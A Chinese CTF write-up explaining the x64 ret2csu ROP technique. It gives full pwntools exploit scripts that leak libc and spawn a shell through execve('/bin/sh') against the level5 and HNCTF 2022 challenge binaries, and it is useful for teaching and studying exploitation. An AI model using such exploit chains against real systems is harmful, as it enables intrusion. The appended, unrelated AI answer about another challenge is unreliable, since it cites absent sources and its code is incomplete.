ROP之ret2csu 【[HNCTF 2022 WEEK2] ret2csu

本文介绍了ret2csu的原理,在64位程序中可利用__libc_csu_init中的gadgets,给出基本利用思路及EXP。还以HNCTF ret2csu为例进行说明,同时探讨了改进方法,如提前控制RBX与RBP、多次利用,最后提及其他可利用的gadget及寄存器控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ret2csu

原理:

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,

但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。

这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。

这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一般会存在。

我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

这段汇编代码一般是这么利用:

1:
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
####  
ret到
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp                                    此处 rbp 与 rbx 不可相同,相同则跳到别的地方了
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8  ##随便填充就好
.text:000000000040061A                 pop     rbx     ##随便填充就好
.text:000000000040061B                 pop     rbp     ##随便填充就好
.text:000000000040061C                 pop     r12     ##随便填充就好
.text:000000000040061E                 pop     r13     ##随便填充就好
.text:0000000000400620                 pop     r14     ##随便填充就好
.text:0000000000400622                 pop     r15     ##随便填充就好
.text:0000000000400624                 retn   ###### 这里返回到重新开始的地方

如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。

基本利用思路如下

1️⃣利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数

2️⃣根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址

3️⃣再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。

4️⃣再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。

直接上EXP

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

再来比葫芦画瓢来道:HNCTF ret2csu(2022)

主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(_bss_start, 0LL);
  write(1, "Start Your Exploit!\n", 0x14uLL);
  vuln();
  return 0;
}
vuln函数:
ssize_t vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  write(1, "Input:\n", 7uLL);
  read(0, buf, 0x200uLL);
  return write(1, "Ok.\n", 4uLL);
}
几乎一样的模板,再来看__libc_csu_init(这里只展示需要使用的部分)
.text:0000000000401290 4C 89 F2                      mov     rdx, r14
.text:0000000000401293 4C 89 EE                      mov     rsi, r13
.text:0000000000401296 44 89 E7                      mov     edi, r12d
.text:0000000000401299 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401299
.text:000000000040129D 48 83 C3 01                   add     rbx, 1
.text:00000000004012A1 48 39 DD                      cmp     rbp, rbx
.text:00000000004012A4 75 EA                         jnz     short loc_401290
.text:00000000004012A4
.text:00000000004012A6
.text:00000000004012A6                               loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 48 83 C4 08                   add     rsp, 8
.text:00000000004012AA 5B                            pop     rbx
.text:00000000004012AB 5D                            pop     rbp
.text:00000000004012AC 41 5C                         pop     r12
.text:00000000004012AE 41 5D                         pop     r13
.text:00000000004012B0 41 5E                         pop     r14
.text:00000000004012B2 41 5F                         pop     r15
.text:00000000004012B4 C3                            retn
剖析这段代码,可得输入寄存器与程序实际运行寄存器的对应表

(建议做个表格使之相对应)

rbxrbpr12r13r14r15
01edirsirdxcall

然后就直接上代码了

from pwn import *
from LibcSearcher import LibcSearcher
file_name='ret2csu'
elf = ELF(file_name)
debug = 1
if debug:
	io = remote('node5.anna.nssctf.cn',28938)
else:
	io = process(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x401220
bss_base = elf.bss()
csu_front_addr = 0x000401290
csu_end_addr = 0x0004012AA
fakeebp = b'b' * 0x8
#gdb.attach(io)

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = b'a'*0x100 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a'*0x38
    payload += p64(last)
    io.send(payload)
    sleep(1)


io.recvuntil('Input:\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
#pause()
csu(0, 1, 1, write_got, 8, write_got, main_addr)
io.recvuntil('Ok.\n')

write_addr = u64(io.recv(8))
success('write_got=>'+hex(write_got))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
io.recvuntil('Input:\n')
csu(0, 1, 0, bss_base, 16, read_got, main_addr)
io.recvuntil('Ok.\n')
io.send(p64(execve_addr) + b'/bin/sh\x00')

io.recvuntil('Input:\n')
## execve(bss_base+8)
csu(0, 1, bss_base + 8, 0, 0, bss_base , main_addr)
io.recvuntil('Ok.\n')
io.interactive()

注意的是如果 main_addr即重新开始的地址如果是 libc.symbols[‘main’] 会在第三个 初始化

setbuf(_bss_start, 0LL)
cmp    qword ptr [rdi + 8], r13

处报错,原因盲猜是执行了execve函数,可能学长出题的时候故意设置的吧,但是解决这个很简单,重新开始的时候从这一段代码之后重新开始就好

剩下的拓展就copy ctfwiki了

思考

改进

在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法

改进 1 - 提前控制 RBX 与 RBP

可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。

改进 2 - 多次利用

其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件

  • 漏洞可以被多次触发
  • 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。

gadget

其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。

需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器

  • 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
  • 利用中间部分的代码控制了 rdx,rsi,edi。

而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,**可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。**而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。

gef➤  x/5i 0x000000000040061A
   0x40061a <__libc_csu_init+90>:   pop    rbx
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
gef➤  x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
gef➤  x/5i 0x000000000040061A+3
   0x40061d <__libc_csu_init+93>:   pop    rsp
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
gef➤  x/5i 0x000000000040061e
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061f
   0x40061f <__libc_csu_init+95>:   pop    rbp
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
gef➤  x/5i 0x0000000000400621
   0x400621 <__libc_csu_init+97>:   pop    rsi
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061A+9
   0x400623 <__libc_csu_init+99>:   pop    rdi
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x400630 <__libc_csu_fini>:  repz ret

参考阅读

  • http://wooyun.jozxing.cc/static/drops/papers-7551.html
  • http://wooyun.jozxing.cc/static/drops/binary-10638.html
<think>嗯,用户问的是CTFShow平台上PWN类别的第25题的解题思路或者Writeup。首先,我需要回忆一下相关的题目内容。根据用户提供的引用[1],题目中存在一个函数writesomething(),里面有一个缓冲区buf[128],但read函数读取了0x200uLL的数据,这明显超过了缓冲区的容量,造成了栈溢出漏洞。这说明这题可能是一个典型的栈溢出利用题。 接下来,我需要确认题目的保护机制,比如NX、Canary、PIE是否开启。通常CTF的PWN题可能会关闭部分保护机制,例如如果没有Canary的话,直接溢出覆盖返回地址即可。根据常见的解题步骤,可能需要利用ret2csu技术,因为引用[1]中提到了这个提示。ret2csu通常用于在无法找到足够gadgets的情况下,通过__libc_csu_init中的gadgets来构造ROP链,控制rdx等寄存器,进而执行系统调用。 然后,用户可能需要泄露libc地址。常见的做法是通过溢出执行puts或write函数,输出某个函数的got表地址,从而计算libc基址。例如,可以覆盖返回地址为puts的plt条目,参数设置为read的got地址,这样就能泄露read的实际地址,再根据libc版本计算偏移得到system和/bin/sh的地址。 在构造ROP链时,需要注意栈的布局。首先溢出到返回地址,执行泄露libc的步骤,然后再次触发溢出,执行system("/bin/sh")。这里可能需要两次输入,第一次泄露地址,第二次发送最终的payload。 另外,需要确认题目提供的二进制文件中是否有可用的gadgets,特别是pop rdi; ret这样的常用gadget,用于设置参数。如果没有,可能需要依赖csu中的gadgets来设置rdx、rsi等寄存器。 用户可能需要使用工具如checksec查看保护措施,用ROPgadget寻找gadgets,用pwntools编写exp脚本。在编写过程中,要注意地址的对齐和填充的正确性,确保覆盖到返回地址的位置。此外,可能需要处理栈的偏移,确定buf到返回地址的距离,比如题目中的buf位于[rbp-0x80],所以可能需要填充0x80字节加上rbp的8字节,总共0x88字节才能覆盖到返回地址。 如果题目中使用了ret2csu,那么可能需要利用两次csu的gadget,第一次设置寄存器,第二次调用函数。例如,设置rdi、rsi、rdx的值,然后调用read或execve函数。这里需要注意寄存器的正确设置,以及参数传递的顺序。 最后,用户可能需要参考CTF Wiki中的相关章节,比如ret2csu的利用方法,或者查阅已有的Writeup来获取更详细的信息。引用[2]中提到的CTF Wiki资源可能会有帮助,用户可以去该网站查找具体的利用技巧和示例。</think>根据题目描述和代码分析,CTFShow PWN 第25题属于典型的栈溢出+ret2csu类型题目。以下是解题思路: ### 一、漏洞分析 1. 关键函数`writesomething()`中定义栈缓冲区: ```c char buf[128]; // [rsp+0h] [rbp-80h] return read(0, buf, 0x200uLL); // 允许读取512字节数据[^1] ``` 2. 缓冲区大小128字节(0x80),但允许读取0x200字节数据,存在明显的栈溢出漏洞 ### 二、利用步骤 1. **计算偏移量**: - 缓冲区起始地址为`rbp-0x80` - 需要覆盖的返回地址位于`rbp+8` - 填充长度 = 0x80 + 8 = 136字节 2. **利用ret2csu技术**: ```python # 通用csu gadget结构 pop_rbx_rbp_r12_r13_r14_r15 = 0x4008DA # gadget1 mov_rdx_r13_rsi_r14_edi_r15 = 0x4008C0 # gadget2 ``` 3. **构造ROP链**: ```python payload = flat([ b'A'*136, # 第一次csu调用:设置寄存器值 pop_rbx_rbp_r12_r13_r14_r15, 0, 1, func_ptr, arg1, arg2, arg3, mov_rdx_r13_rsi_r14_edi_r15, # 第二次csu调用:执行目标函数 ... ]) ``` ### 三、完整利用流程 1. 泄露libc地址:通过`write(1, got_entry, 8)` 2. 计算`system`地址:`libc_base = leaked_addr - libc.symbols['write']` 3. 获取`/bin/sh`字符串地址:`next(libc.search(b'/bin/sh'))` 4. 最终执行`system("/bin/sh")`
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值